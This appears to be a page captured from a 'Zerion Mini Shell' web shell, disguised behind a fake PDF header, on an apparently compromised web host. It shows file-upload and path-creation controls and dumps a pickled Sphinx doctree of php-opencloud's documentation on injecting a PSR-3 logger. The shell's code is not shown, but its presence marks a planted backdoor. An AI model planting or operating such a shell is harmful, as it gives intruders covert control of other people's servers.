%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/graphicd/www/vebto/vendor/rackspace/php-opencloud/doc/_build/doctrees/
Upload File :
Create Path :
Current File : /home/graphicd/www/vebto/vendor/rackspace/php-opencloud/doc/_build/doctrees/logging.doctree

�cdocutils.nodes
document
q)�q}q(U	nametypesq}q(Xas defined in psr-3q�Xmonologq�XloggingqNXlogger injectionq	NuUsubstitution_defsq
}qUparse_messagesq]q
Ucurrent_sourceqNU
decorationqNUautofootnote_startqKUnameidsq}q(hUas-defined-in-psr-3qhUmonologqhUloggingqh	Ulogger-injectionquUchildrenq]qcdocutils.nodes
section
q)�q}q(U	rawsourceqUUparentqhUsourceqX0/Users/jamie/projects/php/v1-sdk/doc/logging.rstqUtagnameq Usectionq!U
attributesq"}q#(Udupnamesq$]Uclassesq%]Ubackrefsq&]Uidsq']q(haUnamesq)]q*hauUlineq+KUdocumentq,hh]q-(cdocutils.nodes
title
q.)�q/}q0(hXLoggingq1hhhhh Utitleq2h"}q3(h$]h%]h&]h']h)]uh+Kh,hh]q4cdocutils.nodes
Text
q5XLoggingq6��q7}q8(hh1hh/ubaubh)�q9}q:(hUhhhhh h!h"}q;(h$]h%]h&]h']q<hah)]q=h	auh+Kh,hh]q>(h.)�q?}q@(hXLogger injectionqAhh9hhh h2h"}qB(h$]h%]h&]h']h)]uh+Kh,hh]qCh5XLogger injectionqD��qE}qF(hhAhh?ubaubcdocutils.nodes
paragraph
qG)�qH}qI(hX�As the ``Rackspace`` client extends the ``OpenStack`` client, they both support
passing ``$options`` as an array via the constructor's third parameter. The
options are passed as a config to the `Guzzle` client, but also allow to inject
your own logger.hh9hhh U	paragraphqJh"}qK(h$]h%]h&]h']h)]uh+Kh,hh]qL(h5XAs the qM��qN}qO(hXAs the hhHubcdocutils.nodes
literal
qP)�qQ}qR(hX
``Rackspace``h"}qS(h$]h%]h&]h']h)]uhhHh]qTh5X	RackspaceqU��qV}qW(hUhhQubah UliteralqXubh5X client extends the qY��qZ}q[(hX client extends the hhHubhP)�q\}q](hX
``OpenStack``h"}q^(h$]h%]h&]h']h)]uhhHh]q_h5X	OpenStackq`��qa}qb(hUhh\ubah hXubh5X# client, they both support
passing qc��qd}qe(hX# client, they both support
passing hhHubhP)�qf}qg(hX``$options``h"}qh(h$]h%]h&]h']h)]uhhHh]qih5X$optionsqj��qk}ql(hUhhfubah hXubh5X^ as an array via the constructor's third parameter. The
options are passed as a config to the qm��qn}qo(hX^ as an array via the constructor's third parameter. The
options are passed as a config to the hhHubcdocutils.nodes
title_reference
qp)�qq}qr(hX`Guzzle`h"}qs(h$]h%]h&]h']h)]uhhHh]qth5XGuzzlequ��qv}qw(hUhhqubah Utitle_referenceqxubh5X2 client, but also allow to inject
your own logger.qy��qz}q{(hX2 client, but also allow to inject
your own logger.hhHubeubhG)�q|}q}(hX[Your logger should implement the ``Psr\Log\LoggerInterface`` `as defined in
PSR-3 <https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md>`_.
One example of a compatible logger is `Monolog <https://github.com/Seldaek/monolog>`_.
When the client does create a service, it will inject the logger if one is
available.hh9hhh hJh"}q~(h$]h%]h&]h']h)]uh+Kh,hh]q(h5X!Your logger should implement the q���q�}q�(hX!Your logger should implement the hh|ubhP)�q�}q�(hX``Psr\Log\LoggerInterface``h"}q�(h$]h%]h&]h']h)]uhh|h]q�h5XPsr\Log\LoggerInterfaceq���q�}q�(hUhh�ubah hXubh5X ��q�}q�(hX hh|ubcdocutils.nodes
reference
q�)�q�}q�(hXp`as defined in
PSR-3 <https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md>`_h"}q�(UnameXas defined in PSR-3Urefuriq�XWhttps://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.mdq�h']h&]h$]h%]h)]uhh|h]q�h5Xas defined in
PSR-3q���q�}q�(hUhh�ubah U	referenceq�ubcdocutils.nodes
target
q�)�q�}q�(hXZ <https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md>U
referencedq�Khh|h Utargetq�h"}q�(Urefurih�h']q�hah&]h$]h%]h)]q�hauh]ubh5X(.
One example of a compatible logger is q���q�}q�(hX(.
One example of a compatible logger is hh|ubh�)�q�}q�(hX/`Monolog <https://github.com/Seldaek/monolog>`_h"}q�(UnameXMonologh�X"https://github.com/Seldaek/monologq�h']h&]h$]h%]h)]uhh|h]q�h5XMonologq���q�}q�(hUhh�ubah h�ubh�)�q�}q�(hX% <https://github.com/Seldaek/monolog>h�Khh|h h�h"}q�(Urefurih�h']q�hah&]h$]h%]h)]q�hauh]ubh5XW.
When the client does create a service, it will inject the logger if one is
available.q���q�}q�(hXW.
When the client does create a service, it will inject the logger if one is
available.hh|ubeubhG)�q�}q�(hXDTo inject a ``LoggerInterface`` compatible logger into a new client:q�hh9hhh hJh"}q�(h$]h%]h&]h']h)]uh+Kh,hh]q�(h5XTo inject a q���q�}q�(hXTo inject a hh�ubhP)�q�}q�(hX``LoggerInterface``h"}q�(h$]h%]h&]h']h)]uhh�h]q�h5XLoggerInterfaceq���q�}q�(hUhh�ubah hXubh5X% compatible logger into a new client:q���q�}q�(hX% compatible logger into a new client:hh�ubeubcdocutils.nodes
literal_block
q�)�q�}q�(hX�use Monolog\Logger;
use OpenCloud\OpenStack;

// create a log channel
$logger = new Logger('name');

$client = new OpenStack('http://identity.my-openstack.com/v2.0', array(
  'username' => 'foo',
  'password' => 'bar'
), array(
  'logger' => $logger,
));hh9hhh U
literal_blockq�h"}q�(UlinenosqɉUlanguageq�XphpU	xml:spaceq�Upreserveq�h']h&]h$]h%]h)]uh+Kh,hh]q�h5X�use Monolog\Logger;
use OpenCloud\OpenStack;

// create a log channel
$logger = new Logger('name');

$client = new OpenStack('http://identity.my-openstack.com/v2.0', array(
  'username' => 'foo',
  'password' => 'bar'
), array(
  'logger' => $logger,
));q΅�q�}q�(hUhh�ubaubeubeubahUUtransformerq�NU
footnote_refsq�}q�Urefnamesq�}q�Usymbol_footnotesq�]q�Uautofootnote_refsq�]q�Usymbol_footnote_refsq�]q�U	citationsq�]q�h,hUcurrent_lineq�NUtransform_messagesq�]q�Ureporterq�NUid_startq�KU
autofootnotesq�]q�U
citation_refsq�}q�Uindirect_targetsq�]q�Usettingsq�(cdocutils.frontend
Values
q�oq�}q�(Ufootnote_backlinksq�KUrecord_dependenciesq�NUrfc_base_urlq�Uhttp://tools.ietf.org/html/q�U	tracebackq�Upep_referencesq�NUstrip_commentsq�NU
toc_backlinksq�Uentryq�U
language_codeq�Uenq�U	datestampq�NUreport_levelq�KU_destinationq�NU
halt_levelq�KU
strip_classesq�Nh2NUerror_encoding_error_handlerq�Ubackslashreplaceq�Udebugq�NUembed_stylesheetr�Uoutput_encoding_error_handlerrUstrictrU
sectnum_xformrKUdump_transformsrNU
docinfo_xformrKUwarning_streamrNUpep_file_url_templaterUpep-%04drUexit_status_levelr	KUconfigr
NUstrict_visitorrNUcloak_email_addressesr�Utrim_footnote_reference_spacer
�UenvrNUdump_pseudo_xmlrNUexpose_internalsrNUsectsubtitle_xformr�Usource_linkrNUrfc_referencesrNUoutput_encodingrUutf-8rU
source_urlrNUinput_encodingrU	utf-8-sigrU_disable_configrNU	id_prefixrUU	tab_widthrKUerror_encodingrUUTF-8rU_sourcerhUgettext_compactr�U	generatorr NUdump_internalsr!NUsmart_quotesr"�Upep_base_urlr#Uhttp://www.python.org/dev/peps/r$Usyntax_highlightr%Ulongr&Uinput_encoding_error_handlerr'jUauto_id_prefixr(Uidr)Udoctitle_xformr*�Ustrip_elements_with_classesr+NU
_config_filesr,]Ufile_insertion_enabledr-�Uraw_enabledr.KU
dump_settingsr/NubUsymbol_footnote_startr0KUidsr1}r2(hh9hh�hh�hhuUsubstitution_namesr3}r4h h,h"}r5(h$]h']h&]Usourcehh%]h)]uU	footnotesr6]r7Urefidsr8}r9ub.

Zerion Mini Shell 1.0